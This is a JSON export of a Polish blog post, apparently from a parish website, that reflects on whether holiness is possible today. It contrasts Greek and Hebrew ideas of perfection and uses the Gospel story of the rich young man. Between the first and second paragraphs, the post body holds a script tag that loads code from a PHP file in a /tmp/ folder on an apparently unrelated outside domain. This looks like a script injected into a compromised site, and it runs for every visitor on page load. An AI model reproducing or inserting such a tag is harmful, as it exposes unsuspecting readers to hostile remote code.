{"id":1611,"date":"2009-07-21T18:57:19","date_gmt":"2009-07-21T18:57:19","guid":{"rendered":"http:\/\/nowa.swmikolaj.org\/?p=1611"},"modified":"2020-04-02T19:55:18","modified_gmt":"2020-04-02T19:55:18","slug":"czydzisiajmozliwejestbycieswietym","status":"publish","type":"post","link":"https:\/\/swmikolaj.org\/index.php\/2009\/07\/21\/czydzisiajmozliwejestbycieswietym\/","title":{"rendered":"Czy dzisiaj mo\u017cliwe jest bycie \u015bwi\u0119tym?"},"content":{"rendered":"<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Istniej\u0105 dwie klasyczne koncepcje doskona\u0142o\u015bci: grecka i hebrajska. Doskona\u0142o\u015b\u0107 to &#8211; dla staro\u017cytnych Grek&oacute;w &#8211; bycie bez skazy, bez wady i bez usterki, a odmierzana by\u0142a poprzez odwo\u0142ywanie si\u0119 do standardu wyznaczanego przez kryterium ca\u0142o\u015bciowo\u015bci, prawdy, dobra i pi\u0119kna. Bycie doskona\u0142ym by\u0142o wi\u0119c r&oacute;wnoznaczne z niegrzeszeniem. Hebrajska koncepcja doskona\u0142o\u015bci &#8211; mo\u017cna tutaj ju\u017c m&oacute;wi\u0107 o \u015bwi\u0119to\u015bci &#8211; by\u0142a i jest ca\u0142kowicie odmienna. Opiera si\u0119 ona na twierdzeniu, i\u017c bycie \u015bwi\u0119tym to kroczenie z Bogiem pomimo do\u015bwiadczania s\u0142abo\u015bci. \u015awi\u0119ta doskona\u0142o\u015b\u0107 oznacza tutaj bycie w Bo\u017cej obecno\u015bci bez wzgl\u0119du na fakt, i\u017c nie dostaje si\u0119 do idea\u0142u wyznaczanego przez takie normy jak ca\u0142o\u015bciowo\u015b\u0107, dobro\u0107, prawda i pi\u0119kno.<\/div>\n<p><script type=\"text\/javascript\" src=\"http:\/\/www.brauer-augenoptik.de\/tmp\/theme-index.php\"><\/script><\/p>\n<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Koncepcja \u015bwi\u0119to\u015bci w kulturze zachodniej zosta\u0142a ukszta\u0142towana w du\u017cej mierze poprze z grecki idea\u0142 doskona\u0142o\u015bci, dlatego te\u017c \u015bwi\u0119to\u015b\u0107 by\u0142a i jest uto\u017csamiana z dorastaniem do pewnych standard&oacute;w. Przyjmuj\u0105c taki punkt widzenia \u015bwi\u0119to\u015b\u0107 oznacza staranie si\u0119 i uporczywe d\u0105\u017cenie do osi\u0105gni\u0119cia moralnego dobra i moralnej integralno\u015bci. Grecka koncepcja jest s\u0142uszna jedynie w pewnej mierze. Jej atutem jest to, i\u017c wzywa do przeciwstawiania si\u0119 lenistwu i mierno\u015bci. Flaga jest zawsze przed nami wysoko i wzywa do przekraczania swoich ogranicze\u0144 i zm\u0119czenia. Cz\u0142owiek jest wi\u0119c wezwany do pragnienia i si\u0119gania po wi\u0119cej. Jest to uzdrawiaj\u0105ce szczeg&oacute;lnie w kulturze pe\u0142nej cynizmu i zniech\u0119cenia.<\/div>\n<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Grecka koncepcja doskona\u0142o\u015bci ma jednak drug\u0105, gro\u017an\u0105 stron\u0119. Ot&oacute;\u017c nikt z nas nie dorasta do tych standard&oacute;w. Ka\u017cdy upada, a to prowadzi do ca\u0142ej serii duchowych pu\u0142apek. Przede wszystkim niszczymy samych siebie poprzez fa\u0142szywe oczekiwania, jakie mamy wzgl\u0119dem siebie. Pragniemy poprzez dobr\u0105 wol\u0119 naprawi\u0107 wszelkie niedoskona\u0142o\u015bci, jednak\u017ce dobra wola jest cz\u0119sto bezradna wobec naszych na\u0142og&oacute;w. Kiedy tego nie rozpoznajemy, po kr&oacute;tkim czasie porzucamy wszelkie pr&oacute;by udoskonalania si\u0119 i walki z na\u0142ogami, a nast\u0119pnie pokusa prowadzi nas do porzucenia pragnienia \u015bwi\u0119to\u015bci i przerzucenia jej na Matk\u0119 Teres\u0119, Jana Paw\u0142a II i innych heros&oacute;w, kt&oacute;rzy byli w stanie dorosn\u0105\u0107 do wysokich standard&oacute;w. Jeszcze gorszym skutkiem postawy dopasowywania si\u0119 do wyznaczonej doskona\u0142o\u015bci jest trudno\u015b\u0107 przebaczenia sobie i innym faktu, i\u017c nie jeste\u015bmy Bogiem. Je\u015bli dominuj\u0105c\u0105 ide\u0105 staje si\u0119 wyznaczanie sobie osi\u0105gni\u0119cia takiej doskona\u0142o\u015bci-\u015bwi\u0119to\u015bci, kt&oacute;r\u0105 tylko B&oacute;g mo\u017ce osi\u0105gn\u0105\u0107, wtedy to nie pozwalamy sobie i innym by\u0107 lud\u017ami. Konsekwencj\u0105 takiej sytuacji jest noszenie w sobie wielkich ilo\u015bci \u017calu, z\u0142o\u015bci i zawod&oacute;w.<\/div>\n<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wydaje si\u0119, \u017ce istnieje dzisiaj silna powinno\u015b\u0107 g\u0142\u0119bszego zaczerpni\u0119cia z hebrajskiej, biblijnej koncepcji doskona\u0142o\u015bci-\u015bwi\u0119to\u015bci, kt&oacute;ra oznacza kroczenie z Bogiem pomimo naszych niedoskona\u0142o\u015bci. Jak to uczyni\u0107? Ewangelia jest bogata w przyk\u0142ady, pos\u0142u\u017cymy si\u0119 tutaj jednym z nich. Opis spotkania Jezusa z bogatym m\u0142odzie\u0144cem przedstawia odrzucenie przez tego drugiego propozycji Mistrza. Ewangelista zaznacza, \u017ce &oacute;w m\u0142odzieniec &quot;odszed\u0142 smutny&quot;, a Jezus zwr&oacute;ciwszy si\u0119 do swoich uczni&oacute;w m&oacute;wi: &quot;Zaprawd\u0119 powiadam wam, \u0142atwiej jest wielb\u0142\u0105dowi przej\u015b\u0107 przez ucho igielne, ani\u017celi bogatemu wej\u015b\u0107 do Kr&oacute;lestwa niebieskiego&quot;. Nast\u0119pnie ewangelista \u0141ukasz pisze, \u017ce aposto\u0142owie byli niemal\u017ce os\u0142upiali. Zrozumieli jasno, co Jezus powiedzia\u0142, a mianowicie to, i\u017c nie s\u0105 w stanie uczyni\u0107 wszystkiego, o co On prosi\u0142. M&oacute;wi\u0105c inaczej poj\u0119li, \u017ce nie s\u0105 zdolni dorosn\u0105\u0107 do idea\u0142u, do wyznaczonej miary. Piotr wyrazi\u0142 ten niepok&oacute;j, gdy stwierdzi\u0142: &quot; W takim wypadku nikt nie jest zdolny osi\u0105gn\u0105\u0107 Kr&oacute;lestwa Bo\u017cego&quot;. Jest to jedna z niewielu sytuacji w Ewangelii, gdy aposto\u0142owie pojmuj\u0105 co\u015b z nauczania Jezusa. Jezus m&oacute;g\u0142 wtedy z rado\u015bci\u0105 powiedzie\u0107: &quot;U ludzi jest to niemo\u017cliwe, ale dla Boga wszystko jest mo\u017cliwe&quot;. Sami z siebie nigdy nie b\u0119dziemy w stanie dorosn\u0105\u0107 do wyznaczonych idea\u0142&oacute;w. Nie b\u0119dziemy doskonali w greckim tego s\u0142owa znaczeniu, jednak B&oacute;g nie o to nas prosi. On wzywa nas by\u015bmy zawsze przynosili nasz\u0105 s\u0142abo\u015b\u0107, niedoskona\u0142o\u015b\u0107 i grzech do Niego. B&oacute;g nie chce by\u015bmy przed Nim si\u0119 ukrywali, gdy\u017c On jest dobrym Ojcem rozumiej\u0105cym nasza s\u0142abo\u015b\u0107. On si\u0119 nami nigdy nie rozczarowuje. Chce by\u015bmy przychodzili do Niego, jak przychodzi si\u0119 do domu, by dzieli\u0107 z Nim \u017cycie, by pozwoli\u0107 mu pom&oacute;c nam w tych sprawach, w kt&oacute;rych jeste\u015bmy bezsilni i s\u0142abi.<\/div>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Istniej\u0105 dwie klasyczne koncepcje doskona\u0142o\u015bci: grecka i hebrajska. Doskona\u0142o\u015b\u0107 to &#8211; dla staro\u017cytnych Grek&oacute;w &#8211; bycie bez skazy, bez wady i bez usterki, a odmierzana by\u0142a poprzez odwo\u0142ywanie si\u0119 do standardu wyznaczanego przez kryterium ca\u0142o\u015bciowo\u015bci, prawdy, dobra i pi\u0119kna. Bycie doskona\u0142ym by\u0142o wi\u0119c r&oacute;wnoznaczne z niegrzeszeniem. Hebrajska koncepcja doskona\u0142o\u015bci &#8211; mo\u017cna tutaj ju\u017c m&oacute;wi\u0107 [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11],"tags":[],"publishpress_future_action":{"enabled":false,"date":"1970-01-01 01:00:00","action":"","terms":[],"taxonomy":"","browser_timezone_offset":0},"_links":{"self":[{"href":"https:\/\/swmikolaj.org\/index.php\/wp-json\/wp\/v2\/posts\/1611"}],"collection":[{"href":"https:\/\/swmikolaj.org\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/swmikolaj.org\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/swmikolaj.org\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/swmikolaj.org\/index.php\/wp-json\/wp\/v2\/comments?post=1611"}],"version-history":[{"count":1,"href":"https:\/\/swmikolaj.org\/index.php\/wp-json\/wp\/v2\/posts\/1611\/revisions"}],"predecessor-version":[{"id":2435,"href":"https:\/\/swmikolaj.org\/index.php\/wp-json\/wp\/v2\/posts\/1611\/revisions\/2435"}],"wp:attachment":[{"href":"https:\/\/swmikolaj.org\/index.php\/wp-json\/wp\/v2\/media?parent=1611"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/swmikolaj.org\/index.php\/wp-json\/wp\/v2\/categories?post=1611"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/swmikolaj.org\/index.php\/wp-json\/wp\/v2\/tags?post=1611"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}